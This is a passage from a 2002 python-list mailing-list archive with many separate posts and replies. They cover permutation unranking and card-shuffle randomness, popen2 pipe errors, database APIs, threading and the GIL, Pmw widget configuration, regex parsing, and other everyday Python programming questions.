[Both sentences are also true for many other combinatorial sets.] My Python translation (with j! calculated incrementally): def permlexunrank(n, rank): '''1<= n is number of items permuted !! max n is 12 unless change to longs or Python with conversion on overflow!! 0 <= rank <= n!-1 input not currently tested for validity output is corresponding permutation of 1,2,...n ''' perm = [1] * (n+1) # algorithm uses 1-based arrays jfac, jfac1 = 1, 1 # 0!, 1! for j in range(1,n): jfac, jfac1 = jfac1, jfac1*(j+1) # j!, (j+1)! d = (rank % jfac1) / jfac rank = rank - d * jfac perm[n-j] = d+1 for i in range(n-j+1, n+1): if perm[i] > d: perm[i] = perm[i]+1 return perm[1:] # clip unused 0th element >>> permlexunrank(1,0) [1] >>> permlexunrank(4,0) [1, 2, 3, 4] >>> permlexunrank(4,10) [2, 4, 1, 3] >>> permlexunrank(4,11) [2, 4, 3, 1] >>> permlexunrank(4,12) [3, 1, 2, 4] >>> permlexunrank(4,23) [4, 3, 2, 1] > Basically, this was because I was aiming for a "perfect" shuffle of a > deck of 52 cards, so I wanted to reduce the "randomness" factor to only > one number. The problem is the difficulty in getting a random count in the appropriate large range. > My thoughts are that, if I can build a large enough number, a la: > > (random.randint(0, sys.maxint)*(sys.maxint+1) + \ > random.randint(0, sys.maxint) > )*(sys.maxint+1) etc... > > which optimistically would max beyond n! (perhaps (n+2)!), the number > would be a good candidate for a "truly" random shuffle, since the > function actually uses the (index mod n!) permutation. If successive randints are psueudorandom -- generated deterministically from an initial internal seed or set of seeds -- then the number of possible shuffles selected from is at most the number of possible seeds (or seed sets). For any algorithm I have seen, this is less than 52! (> 10**52). So many or most possible shuffles have 0.0 probability of being chosen instead of 1/52!. The problem is not generating a large number (easy) but chosing from 52! possibilities (hard). The standard shuffle method that uses 51 psuedorandom ints to successively chose cards has same problem. The number of possible shuffles is limited by the set of possible seeds. This is why many *nix systems come with entropy collecters to store hoped-to-be uncorreleted random bits from physical events with random aspects (key presses, internet responses, etc). Terry J. Reedy From eric.brunel at pragmadev.com Tue May 21 05:50:52 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Tue, 21 May 2002 09:50:52 +0000 Subject: popen(2) wierdness - help! References: <477fb805.0205170759.1deca84a@posting.google.com> Message-ID: professor ned wrote: > Hi all, > > this seems like it should be awfully simple, but the only answer I can > get from anyone seems to be "use Expect!" which, somehow, isn't very > satisfying. > > Consider the following snippet of code (Python 2.2 running on RedHat > 7.2, although Solaris 8 exhibits similar behavior): > > --- > > #!/usr/local/bin/python > > import os > > cmd = "cat -" > stuff = "Hello, hello, hello...\n" > > writeHandle = os.popen( cmd, 'w') > print "writeHandle is %s" % writeHandle > print "stuff is %s" % stuff > > writeHandle.write( stuff ) > writeHandle.close() > > writeHandle, readHandle = os.popen2( cmd ) > > print "\nwriteHandle is %s " % writeHandle > print "readHandle is %s " % readHandle > print "stuff is %s " % stuff > > writeHandle.write( stuff ) > > writeHandle.close() > readHandle.close() > > --- > > Now, consider the output: > > [ned at nmi-redhat72-dev ned]$ ./ptest.py > writeHandle is > stuff is Hello, hello, hello... > > Hello, hello, hello... > > writeHandle is > readHandle is > stuff is Hello, hello, hello... > > [ned at nmi-redhat72-dev ned]$ cat: write error: Broken pipe [snip] I can't reproduce that problem on my Mandrake 8.0 box, but my guess is as follows: popen2 returns a handle on the command's stantard input and a handle on its standard output. Since your command is just a "cat -", everything you write to it is (more or less) immediatly sent back as its output. But just after writing something to it (writeHandle.write), you close the command's standard output (readHandle.close). I think this is the meaning of the "broken pipe" error: the command still had something on its output, but the listening process stopped listening. Try to put a few prints between your statements. If I'm right, the error should occur during the "readHandle.close()" stuff. And don't get confused by the printed form of the file handles. I don't think they were intended to be human-readable... BTW, to solve the problem, just add a line like "print readHandle.read()" just before the "readHandle.close()": you should get another "Hello, hello, hello..." and the error shouldn't occur again. HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From whisper at oz.net Wed May 15 20:23:16 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 17:23:16 -0700 Subject: Newbie - does Python have DB Independent interface? In-Reply-To: <3CE2F626.A8D69B1E@engcorp.com> Message-ID: by Jove it works! On a whim, I tried "python nooky" on Google and came up with this gem of a site: http://www.saigonh3.com/hymnal.htm I was particularly amused by "The sex life of the camel" and wonder if our Perl friends are aware of this peculiar behavior of the dromedary? ;-) It also includes some Monty Python song lyrics, including those ever popular ditties "The Lumberjack Song", "The Penis Song", "The Philosopher's Song" (wherein appears the word "nooky") and "The Clittoris Song". Who said Python wasn't fun? :-) (this site has no images, but language is at least PG-13) > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Peter Hansen > Sent: Wednesday, May 15, 2002 16:59 > To: python-list at python.org > Subject: Re: Newbie - does Python have DB Independent interface? > > > Hardy Merrill wrote: > > Steve Holden [sholden at holdenweb.com] wrote: > > > "Hardy Merrill" wrote: > > > > I come from the Perl world, and am starting to learn Python. > > > > Perl has the DBI module which is a Database Independent interface - > > > > > > > > Does Python have anything similar [...] ? > > > > > > > You mean something like > > > > > > http://www.python.org/topics/database/DatabaseAPI-2.0.html ? > > > > Yes, exactly! As I said, I'm just getting started with Python, > > and haven't yet made it through all the docs. > > In the future, you'll find that prefixing any question posed > to Google with the word "python" helps a lot, like this: > > http://www.google.ca/search?q=python+database > > -Peter > -- > http://mail.python.org/mailman/listinfo/python-list From debl2nonoabsolutelynospammy at bellatlantic.net Sat May 4 20:16:27 2002 From: debl2nonoabsolutelynospammy at bellatlantic.net (David Lees) Date: Sun, 05 May 2002 00:16:27 GMT Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> Message-ID: <3CD479DC.67155DE4@bellatlantic.net> I saw an adv from O'Reilly this week that said July. David Lees Simon Foster wrote: > > Does anyone reading here (Alex?) have any info on the Python Cookbook, > the O'Reilly book rather than the ASPN site? It is listed on Amazon as > being > available April 2002 but seems to have disappeared from the O'Reilly site. From cjensen at bioeng.ucsd.edu Thu May 30 12:59:14 2002 From: cjensen at bioeng.ucsd.edu (Curtis Jensen) Date: Thu, 30 May 2002 09:59:14 -0700 Subject: Python/Scripting language performance Message-ID: <3CF65A62.2070705@bioeng.ucsd.edu> I'm looking for an explicit explination of why Scripting languages, specificaly Python, are slow compared to compiled languages. I've searched the newsgroup and bit on the web. I'm looking for a more indepth description other than because it's dynamic, or it's object oriented, or it's interpreted. Specificaly why do those aspects make it slower? Also how does the byte compiled python affect performance? If there is a paper out there that someone could refer me to, or if they could just explain it, it would be appreciated. Thanks. -- Curtis Jensen cjensen at bioeng.ucsd.edu http://www-bioeng.ucsd.edu/~cjensen/ FAX (425) 740-1451 From kragen at pobox.com Tue May 14 20:28:34 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 20:28:34 -0400 Subject: get/set References: <20020510184436.4cbc7313.wilk@flibuste.net> <1021404910.199672@cswreg.cos.agilent.com> Message-ID: <83k7q69rv1.fsf@panacea.canonical.org> weeks at vitus.scs.agilent.com (Greg Weeks) writes: > Putting aside __getattr__, __setattr__, __getattribute__, properties, and > __slots__, then whether or not you define get/set methods is a matter of > style, just as in Java and C++. As in Java and C++, I consider it to be > good style. The reason you define trivial get/set methods in Java and C++, instead of just making the instance data public, is that you might want to change your implementation later on without having to change all the clients that call it. The point of properties is that they let you change your mind about such things later on, so your clients that previously set and read instance data directly are now transparently calling getter and setter methods. If you're programming in a dialect of Python that supports them --- that means, you don't have to be backward compatible with 2.1, a rare situation today but probably a common one around 2005 --- then you don't have to waste your time and your readers' time with stupid get and set methods that do nothing useful. From aahz at pythoncraft.com Fri May 31 13:07:14 2002 From: aahz at pythoncraft.com (Aahz) Date: 31 May 2002 13:07:14 -0400 Subject: Embedding and threads ? References: <1022771667.689.136.camel@netgroup> Message-ID: In article , Bo Lorentsen wrote: > >But I will not be able to have two Python interpreter states running in >true parallel ? Some people have tried to instantiate multiple completely separate Python instances. So far, I have not seen any confirmed reports of success. If you really want to parallelize Python code (as opposed to calls to extension libraries that can release the GIL), you'll pretty much need to use multiple processes -- and as MvL pointed out, that really only helps you if you've got multiple CPUs. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From mcherm at destiny.com Thu May 30 09:50:01 2002 From: mcherm at destiny.com (Michael Chermside) Date: Thu, 30 May 2002 09:50:01 -0400 Subject: Where can I find .join() in the docs Message-ID: <3CF62E09.8070802@destiny.com> This page: http://www.python.org/doc/current/lib/string-methods.html Specifically, I went to the Python Library Reference (which you will find stashed under your pillow), Chapter 2 (built-in stuff), then went to the section on sequences (which Strings are) and the page on Strings. -- Michael Chermside From spam at nospam.com Mon May 20 13:51:02 2002 From: spam at nospam.com (sidewinder) Date: Mon, 20 May 2002 17:51:02 GMT Subject: wincvs and python question References: Message-ID: <9IaG8.455$vhi2.48234687@news2.randori.com> I have a better message Traceback (most recent call last): File "", line 1, in ? File "C:\Program Files\GNU\WinCvs 1.3\PythonLib\cvsgui\MacroRegistry.py", line 209, in DoCmd m.Run() File "C:\Program Files\GNU\WinCvs 1.3\PythonLib\cvsgui\Macro.py", line 63, in Run _cvsgui.LaunchTclMacro(self.m_file) SystemError: error return without exception set "sidewinder" wrote in message news:vX9G8.453$vhi2.69599320 at news2.randori.com... > HI, > > I installed the wincvs and the latest python on my system at work a win2K > machine all the macros work great. > > When I installed the stuff on my xp system at home the macros don't work. > It compains about runcmd or do command. > > Has anyone else run into this and how is it fixed? > > > > > From andrewm at object-craft.com.au Thu May 9 04:21:11 2002 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Thu, 09 May 2002 18:21:11 +1000 Subject: How to get class's name on runtime? In-Reply-To: Your message of "Thu, 09 May 2002 08:08:23 GMT." Message-ID: <20020509082111.AC4DD38F50@coffee.object-craft.com.au> >How can I get class-instances name at runtime? > >I have tried to use __name__ method, but that does not exist... Is this what you want: "self.__class__.__name__"? -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From paul at boddie.net Tue May 7 14:32:34 2002 From: paul at boddie.net (Paul Boddie) Date: 7 May 2002 11:32:34 -0700 Subject: urllib, urllib2, httplib -- Begging for consolidation? References: Message-ID: <23891c90.0205071032.315285e4@posting.google.com> "A. Keyton Weissinger" wrote in message news:... > [urllib etc.] > Am I the only one that thinks these need to be pulled together some? I saw a > PEP (268?) where there are some rumblings about adding some things to it as > well. Maybe a combo project? > > Thoughts? Comments? Short comment: yes please! Longer comment: there seems to be a fair amount of functionality implemented in one or the other module which isn't readily apparent, although I often plead ignorance of the contents of the standard library. I also believe that the URL parsing module (urlparse) might also need some work, given recent complaints about "file:" URLs. Paul From vonWedel at lfpt.rwth-aachen.de Tue May 14 08:52:11 2002 From: vonWedel at lfpt.rwth-aachen.de (Lars von Wedel) Date: Tue, 14 May 2002 14:52:11 +0200 Subject: Obtaining two references to a COM server Message-ID: <3CE1087B.D44CC27E@lfpt.rwth-aachen.de> Hi, we are using Python as a COM client of an application and we want to start two server instances. This works fine in VB using Dim anw As Object 'Das Anwendungsobjekt Set anw = CreateObject("Parsival.Application.1") anw.Visible = true Dim anw2 As Object 'Das Anwendungsobjekt Set anw2 = CreateObject("Parsival.Application.1") anw2.Visible = true However, using Python Win32 extensions, Dispatch("Parsival.Application.1") will receive two references which point to the same object. Any ideas on this different behavior? How can we achieve the VB behavior in Python? Many thanks in advance, Lars von Wedel -------------- next part -------------- A non-text attachment was scrubbed... Name: vonWedel.vcf Type: text/x-vcard Size: 323 bytes Desc: Card for Lars von Wedel URL: From njm at neok.com Sun May 12 08:29:32 2002 From: njm at neok.com (guitchess) Date: Sun, 12 May 2002 08:29:32 -0400 Subject: streaming audio References: <3cde6d66_2@nntp2.nac.net> Message-ID: <3cde6e1e_2@nntp2.nac.net> Of course you have python. This the python group. I had a brain freeze for a minute. Perhaps I missunderstood what you were wanting to know. Sorry. -- Ned :-> From bokr at oz.net Fri May 3 21:41:30 2002 From: bokr at oz.net (Bengt Richter) Date: 4 May 2002 01:41:30 GMT Subject: Slight irritation with try/finally indentation References: <3cd2c922.692157118@news> <3CD31FC0.6020503@st.jyu.fi> Message-ID: On Fri, 03 May 2002 20:40:57 -0400, Roy Smith wrote: >Mikko Rantalainen wrote: >> Why not the following? >> >> try: >> setup() >> process() >> finally: >> cleanup() > >That changes the semantics. Now you're catching errors in setup() as well >as in process(). If that's what you want, fine, but don't change the >semantics just to make it looks pretty. what about the bigger picture? E.g.,: try: acquire_resources() try: process() finally: release_resources() except AcquireResourceFailure: handle_resource_acquisition_failure() except ProcessFailure: handle_process_failure() else: wrap_up_clean_process_completion() or ?? Regards, Bengt Richter From pyth at devel.trillke.net Wed May 15 11:13:23 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 15 May 2002 17:13:23 +0200 Subject: How can I convert a string using re.compile In-Reply-To: <3CE266AD.A0C9A817@ingenta.com>; from chris.myers@ingenta.com on Wed, May 15, 2002 at 09:46:21AM -0400 References: <11b62679.0205131526.5f1b6fed@posting.google.com> <3CE266AD.A0C9A817@ingenta.com> Message-ID: <20020515171323.R28033@prim.han.de> Christopher Myers wrote: > Emile, I couldn't get your code to work for me, but I found it quite an > engaging exercise to make something that did work. Here's what I came > up with: > > def makeNewStr(str): > import string > var,list=string.split(str,"=") > var=string.strip(var) > list=string.strip(list) > list=list[1:-1] > list=string.split(list, ';') > newlist=[] > for trio in list: > numtrio=string.split(trio) > numlist="[ " + string.join(string.split(trio), ", ") + " ]" > newlist.append(numlist) > strlist="[ " + string.join(newlist, ", ") + " ]" > newstr= "%s = %s" %(var,strlist) > return newstr hmmm. ok. here is a maintainable, flexible, stricter version :-) import re def makeNewStr(line): # recognize syntax with sre's flexibility m = re.match(r'\s*(?P\w+)\s*=\s*\[(?P[^\]]+)\]',line) if not m: raise SyntaxError,"in line: "+line # constructing the list of lists of string-floats # (raises ValueError for invalid strings) L = [ map(float,x.split()) and x.split() for x in m.group('values').split(';')] # explicit check for 3x3 if len(L)!=3 or filter(lambda x: len(x)!=3, L): raise ValueError,"not 3x3 matrix: "+str(L) # returning the pythonic expression return "%s=%s" % (m.group('name'),str(L).replace("'","")) > I had originally tried something using typecasting to ints and floats, > and then returning the repr() of the resulting list I created, but that > ended up wiping out the scientific notation in those values, so then I > decided to work completely using string manipulation, which was more > concise anyway. but then you loose the check if the strings are valid floats. regards, holger From whisper at oz.net Mon May 20 22:15:09 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 20 May 2002 19:15:09 -0700 Subject: multithreading In-Reply-To: Message-ID: Although, of course, you can create any access managed datatype as long as the primatives are there... David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Aahz > Sent: Monday, May 20, 2002 18:59 > To: python-list at python.org > Subject: Re: multithreading > > > In article , > David LeBlanc wrote: > > > >Lock, Semaphore and friends mentioned in the pythondoc (2.2.1) aren't > >atomic? If not, then they're misnamed since atomicity is a required > >property of such operations. > > What Peter meant is that Queue is the only single atomic operation for > passing data between threads. Lock & Semaphore are atomic, but they > aren't by themselves sufficient for passing data. > -- > Aahz (aahz at pythoncraft.com) <*> > http://www.pythoncraft.com/ > > "In the end, outside of spy agencies, people are far too trusting and > willing to help." --Ira Winkler > -- > http://mail.python.org/mailman/listinfo/python-list From schitz0boy at hotmail.com Mon May 27 12:54:06 2002 From: schitz0boy at hotmail.com (Corey Woodworth) Date: 27 May 2002 09:54:06 -0700 Subject: Newbie Database. Message-ID: <24d8090a.0205270854.6cadc50b@posting.google.com> I want to make a database program in python. Partly because I know I'll use it and partly because it seems like a project I could learn quite a bit from. Its gonna be a database program to keep track of all my MP3 files. (I got a ton) and I want to add a lot of features I've never seen before. (stuff like allowing a song to be in multiple genres) Anywho, I've never written a database program before except a small one in C programming class that was extrememly cumbersome. So basically I don't know much about it and I have a ton of questions. How should I save my database file for instance? I was thinking a text file full of strings like this perhaps: songname::artist::performer::filename:: ... ... But I think there are probably better ways. Are there any tutorials on databases? Modules I should look into? Similar python programs that I should read the sources for? Thanks in advance! Corey From martin at v.loewis.de Sat May 11 09:29:04 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 11 May 2002 15:29:04 +0200 Subject: Multibyte Character Surport for Python References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > Martin> Actually, PEP 263 gives a much wider choice; consider this > Martin> aspect solved. > > Some of us consider the wider choice to be a severe defect of PEP 263. People have all kinds of opinions on this aspect of the PEP. > That doesn't mean we think that Python should prohibit writing > programs in arbitrary user-specified encodings. Only that the > facility for transforming a non-Unicode program into Unicode should be > provided as a standard library facility, rather than part of the > language. I believe that you are still the only one who voices this specific position. More often, you find the position that Python source code should be restricted to UTF-8, period. The counter-position to that is: what about existing code, and what about people who don't have UTF-8 editors? Apart from you, nobody else agrees with the approach "let's make it part of the library instead of part of the language". To most users, the difference appears not to matter (including myself, except that I think making it part of the language simplifies maintenance of the feature). I don't consider it evil to provide users with options: If UTF-8 is technically superior (which I agree it is), it will become the default text encoding of the future, anywith, with or without this PEP. Notice that the PEP slightly favours UTF-8 over other encodings, due to support of the UTF-8 signature. Regards, Martin From opengeometry at yahoo.ca Tue May 7 17:02:21 2002 From: opengeometry at yahoo.ca (William Park) Date: Tue, 7 May 2002 17:02:21 -0400 Subject: "Inserting" a line in a text file? In-Reply-To: ; from buzzard@urubu.freeserve.co.uk on Tue, May 07, 2002 at 09:34:02PM +0100 References: Message-ID: <20020507170221.A5270@node0.opengeometry.ca> On Tue, May 07, 2002 at 09:34:02PM +0100, Duncan Smith wrote: > I need to (in effect) insert a single line at the beginning of an > existing text file (a dumped MySQL database, so potentially large). Is > there anything cuter than eg. creating a temporary file containing the > single line, reading the lines from the data file, appending them to the > temporary file, deleting the data file, renaming the temporary file? > Currently on Win2000, but the solution needs to be cross platform. I can > always go with the obvious, but something faster and / or simpler would > be nice (I might even learn something). Cheers. TIA. Well, that's how I would do it... but, I'm on Linux. -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From cbbrowne at acm.org Sat May 18 17:47:15 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Sat, 18 May 2002 17:47:15 -0400 Subject: How to solve diophantine problems? References: Message-ID: Centuries ago, Nostradamus foresaw when "Joshua, Y.J. Lai" would write: > I can roughly solve the diophantine problem by using a nest loop > ex. > def td(x): > "The number of balls used to construct a tetrahedron" > return x*(x+1)*(x+2)/6 > > def tri(y): > "The number of balls used to construct a triangle" > return y*(y+1)/2 > > for x in xrange(100): > for y in xrange(100): > a=td(x) > b=tri(y) > if a==b!=0: > print "x = %d and y = %d , number = %d" % (x,y,a) > But if I want to limit the maximum amount of balls (k) in this question > then I will add an additional line: > k=input("Please define the Max of balls: ") > However, I do not know how to write the checking loops in this case? > Because, the x and y are uncertain now. Could anyone please kindly help me. I'd suggest a _completely_ different structuring of the nested loop. You can make the program on the order of 100 times as fast by simply storing the td() and tri() values in dictionaries, and comparing dictionaries, thus: A={} B={} maxballs = 25000 # Compute the function values, ONCE for x in xrange(1200): ba=td(x) if (ba < maxballs): A[ba] = x # Only keep number of balls if it's legal bb=tri(x) if (bb < maxballs): B[bb] = x # Now, search A for all the numbers of balls for k in A.keys(): if B.has_key(k): # If there's a match in B, show it... print "A Balls:", k, "A count:", A[k], "B Balls:", k, "B count:", B[k] ... which runs lickety-split ... A Balls: 10 A count: 3 B Balls: 10 B count: 4 A Balls: 120 A count: 8 B Balls: 120 B count: 15 A Balls: 7140 A count: 34 B Balls: 7140 B count: 119 A Balls: 1540 A count: 20 B Balls: 1540 B count: 55 A Balls: 1 A count: 1 B Balls: 1 B count: 1 A Balls: 0 A count: 0 B Balls: 0 B count: 0 -- (reverse (concatenate 'string "gro.mca@" "enworbbc")) http://www.cbbrowne.com/info/linuxdistributions.html "It has every known bug fix to everything." -- KLH (out of context) From shalehperry at attbi.com Thu May 2 11:16:49 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 02 May 2002 08:16:49 -0700 (PDT) Subject: Resources and non-exhausted generators In-Reply-To: <3CD11D7D.A4D44969@st-andrews.ac.uk> Message-ID: On 02-May-2002 Hamish Lawson wrote: > I've written a generator (slightly modified below) that returns results > from a database. Normally this is intended to be run from a for-loop > that will exhaust the produced results. However it occurred to me that > if the generator is not run to completion, then the cursor and > connection will not get properly closed. I can't see any way to do this > using a generator, and I've come to the conclusion that I must > reengineer this as an iterator with a __del__ method that can tidy up > resources (with probably also an explicit method for allowing this to be > done earlier than object destruction). Is my analysis correct? > 'del object' will do it earlier (-: From bowman at montana.com Sun May 19 13:42:53 2002 From: bowman at montana.com (bowman) Date: Sun, 19 May 2002 11:42:53 -0600 Subject: Merits of replacing bash with python References: Message-ID: Kevin Davies wrote: > > I am pretty new to python and am looking for some good reasons to > replace bash with python. Do you mean scripts to be run under the bash shell? One minus may be that bash is almost guaranteed to be on a Linux distro, while Python may not be, although most modern distros install Python by default and may depend on it for their tools. otoh, a bash script has to be rewritten for tcsh or other shells, while Python allows the user to select the shell of their choice. Python, of course, will do much more than bash is capable of, and presents a more orthogonal system than stringing together bash, gawk, sed, cut, and so forth. From mfranklin1 at gatwick.westerngeco.slb.com Thu May 9 12:18:52 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Thu, 9 May 2002 16:18:52 +0000 Subject: auto read multiple files In-Reply-To: References: Message-ID: <200205091519.g49FJ8X08567@helios.gatwick.geco-prakla.slb.com> On Thursday 09 May 2002 2:58 pm, Rad wrote: > Hi, > > I have about 2500 text files to read (and manipulate) from apx. 625 > directories (i.e. 4 files per directory) eg: > C:\Python22\data\ProjectName\001\FileName1.001 > FileName2.001 > FileName3.001 > FileName4.001 > C:\Python22\data\ProjectName\002\FileName1.002 > FileName2.002 > FileName3.002 > FileName4.002 > > > C:\Python22\data\ProjectName\625\FileName1.625 > FileName2.625 > FileName3.625 > FileName4.625 > I want to apply the same procedure/s to all(625) sets of four files > without having to explicitly specify paths and FileNames, i.e. run the > program and leave it over night to do the work on all 2500 files. > I could create a list of all the file names and use it to access files > 4 by 4 but I guess this is not the best way. > I guess a for loop like: stub='C:\Python22\data\ProjectName\*' for number in glob.glob(stub + '*'): file1=os.path.join(stub, number, 'FIlename1.%i' %number) From marklists at mceahern.com Wed May 1 17:00:25 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 1 May 2002 16:00:25 -0500 Subject: Ways to get number of seconds from Epoch In-Reply-To: Message-ID: > Each record have recorded time as follows: > > [15/Apr/2002:08:28:56 +0200] That format seems a little odd: o The slash separator with month name abbreviations. o The colon between year and hour. If I happily modify it slightly, it works beautifully with mx.DateTime: >>> from mx.DateTime import DateTimeFrom >>> s = "15 Apr 2002 08:28:56 +0200" >>> dt = DateTimeFrom(s) >>> dt.gmticks() 1018852136.0 >>> dt.ticks() 1018870136.0 Cheers, // mark From monsegur at mad.scientist.com Wed May 22 01:11:41 2002 From: monsegur at mad.scientist.com (Xavier Monsegur) Date: Wed, 22 May 2002 00:11:41 -0500 Subject: Python User Group in New York City. Message-ID: <20020522051141.47300.qmail@mail.com> Greetings, My name is Xavier, and I am interested in putting together the official NYCPUG with some fellow New York City Python hackers. www.nycpug.org, is up and running thus far. The site, will be fully functional soon enough. I am very interested in hearing from NYC Python hackers. Contact me asap. Thanks guys. P.S: Aahz rocks :P -- _______________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup From fperez528 at yahoo.com Sun May 12 17:48:38 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 12 May 2002 15:48:38 -0600 Subject: converting types References: Message-ID: ian wrote: > but how do i convert an int into a string? > the number variable errors > > number = len(list) > num = "list is " + number + " long" > print num > try also the easy form: print 'list is',number,'long' Print automatically puts spaces for you and 'magically' converts number to a string form. It's also more efficient than doing '+' on strings (for memory reasons you don't need to know right now). Cheers, f. From gregm at iname.com Tue May 14 03:10:35 2002 From: gregm at iname.com (Greg McFarlane) Date: 14 May 2002 00:10:35 -0700 Subject: Tix Vs Pmw which is better to use? References: <3CCE6C0D.FA96F79A@millfilm.co.uk> <29e28c51.0205020305.53cbfd22@posting.google.com> Message-ID: It seems that Cimarron has not read (or did not understand) the Pmw documentation, otherwise he would have found that none of his frustrations are due to Pmw itself. Perhaps the documentation could be improved? Please let me know. cimarron+google at taylors.org (Cimarron Taylor) wrote in message news:<29e28c51.0205020305.53cbfd22 at posting.google.com>... > I have not used Tix, but I have recently started working with Pmw. > Overall I'm pretty happy with the result. First the good things: > > 1. Pmw is easy to use and there are lots of examples! and documentation! > 2. Pmw has a very nice Notebook widget which makes it easy to create > the tab-dialog interface I wanted. I'm glad it was of use. > Now for the things which frustrated me: > > 3. Not much thought seems to have been given to making the megawidgets > support a consistant interface for reading and writing the data > values. you often have to violate encapsulation to do something > as mundane as setting the value of a widget. None of the examples you cite require any use of private members. See below. > For example, suppose > I create a Pmw.Counter with the following code > > counter = Pmw.Counter( > parent, labelpos='w', label_text='Number of tests', > entryfield_value=10, datatype='numeric', > entryfield_validate={'validator':'numeric', 'min':0, 'max':100}, > increment=10 > ) > > To set the value of the counter later on, I need to invoke the > setentry() method on the internal entry widget of the counter: > > counter._counterEntry.setentry(value) Do this instead: counter.setentry(value) > So how did I know to do this? The answer is, I studied the demos and > the source code and tried lots of things until I found something that > worked for this specific widget. Now suppose somewhere else I create > a read-only text box with the following code: > > textbox = Pmw.ScrolledText( > parent, borderframe=1, text_padx=5, text_pady=5, > text_wrap='none', vscrollmode='static', hscrollmode='static' > ) > textbox._textbox.configure(state='disabled') Do this instead: textbox.configure(text_state = 'disabled') Or add this component option when creating the megawidget: text_state = 'disabled' > I could find no obvious way to make the text box read-only without > once again acessing an internal member of the widget. Also, by trial > and error I have discovered that I can set the text of the widget via > > textbox._textbox.configure(state='normal') > textbox.clear() > textbox.settext(value) > textbox._textbox.configure(state='disabled') This works: textbox.settext(value) > You get the idea. To me, the most important thing a megawidget must do > is manage the value shown to the user and one of the important programming > services the megawidget layer should provide is a simple and consistent > way of accessing that value. Hence I ended up rolling my own adaptor > classes for this purpose. Here is my own Counter: > > class Counter: > "class providing a common get/set interface to Pmw.Counter" > def __init__(self, parent, labeltext, init, min, max, incr=1): > self.counter = Pmw.Counter( > parent, labelpos='w', label_text=labeltext, > entryfield_value=init, datatype='numeric', > entryfield_validate={'validator':'numeric', 'min':min, 'max':max}, > increment=incr) > self.counter._counterEntry._entryFieldEntry.config(bg='white') > def get(self): > return self.counter._counterEntry.get() > def set(self, value): > return self.counter._counterEntry.setentry(value) Setting the background could be done with: self.counter.configure(entry_background = 'white') or by adding this component option to the constructor on the previous line: entry_background = 'white' The last two methods could have been written: def get(self): return self.counter.get() def set(self, value): return self.counter.setentry(value) > > 4. Pmw has a less-than-useful color abstraction. The Pmw.Color class > may be useful if you want to change the entire color scheme of an > application but it is difficult to use with a single widget. For example, > the Pmw.Color example suggests > > defaultPalette = Pmw.Color.getdefaultpalette(parent) > normalcolor = Pmw.Color.changebrightness(parent, 'white', 0.85) > Pmw.Color.setscheme(parent, normalcolor) > .. create your widget here .. > apply(Pmw.Color.setscheme, (parent,), defaultPalette) > > but suppose you want only the editable area of the counter to > have a white background and not the entire widget to be white. > The code you see above is a dead-end. To do what I wanted you > will need something like > > self.counter._counterEntry._entryFieldEntry.config(bg='white') Pmw.Color was mainly written so that the otherwise difficult task of changing the color scheme of an entire widget hierarchy was made easier. It is relatively easy to change the color of a single widget, see point 3 above. > 5. The font system is also a little less than useful. Suppose you > want your text box to use a fixed width font. Once again you > will need to access the internal member: > > typewriter = apply(Pmw.logicalfont, ('Typewriter', 0), {}) > textbox = Pmw.ScrolledText( > parent, borderframe=1, text_padx=5, text_pady=5, > text_wrap='none', vscrollmode='static', hscrollmode='static') > textbox._textbox.configure(font=typewriter) Or, more simply: textbox.configure(text_font = typewriter) Or add this component option when creating the megawidget: text_font = typewriter > 6. Be very careful about which geometry management scheme you choose. > If you accidently mix .pack() and .grid(), you may end up with an > application which freezes up the first time you resize it (of course, > this is probably more of a Tkinter problem than a Pmw one). You are right. But I found that I only made this mistake once. And it has nothing to do with Pmw. Greg From nospam at nospam.nospam Tue May 28 21:36:28 2002 From: nospam at nospam.nospam (Max) Date: Wed, 29 May 2002 01:36:28 GMT Subject: Problem building PySQLite under Windows References: <49xI8.185692$o66.555657@news-server.bigpond.net.au> Message-ID: "Gerhard H?ring" ha scritto nel messaggio news:slrnaf5jh4.21d.gerhard at lilith.my-fqdn.de... > Neil Hodgson wrote in comp.lang.python: [...] > I'd recommend to either use mingw32, which will work with the CVS Nice suggestion... just downloaded! > Both are free and work with Python's distutils, provided that you read > the distutils docs. done, and learned lot of new stuff... :) > In the next PySQLite release, we'll offer Windows installers, too. This, however, is a nice idea for lazybones windows users... ;) From lkcl at samba-tng.org Tue May 14 11:26:37 2002 From: lkcl at samba-tng.org (Luke Kenneth Casson Leighton) Date: Tue, 14 May 2002 15:26:37 +0000 Subject: DPythOS 0.0 released In-Reply-To: <20020514163057.K8572@phd.pp.ru> References: <20020514162634.I8572@phd.pp.ru> <20020514163057.K8572@phd.pp.ru> Message-ID: <20020514152637.GQ13600@samba-tng.org> On Tue, May 14, 2002 at 04:30:57PM +0400, Oleg Broytmann wrote: > On Tue, May 14, 2002 at 04:26:34PM +0400, Oleg Broytmann wrote: > > On Mon, May 13, 2002 at 08:49:56PM +0000, Luke Kenneth Casson Leighton wrote: > > > - all versions of ssh are non-interactive with respect to > > > 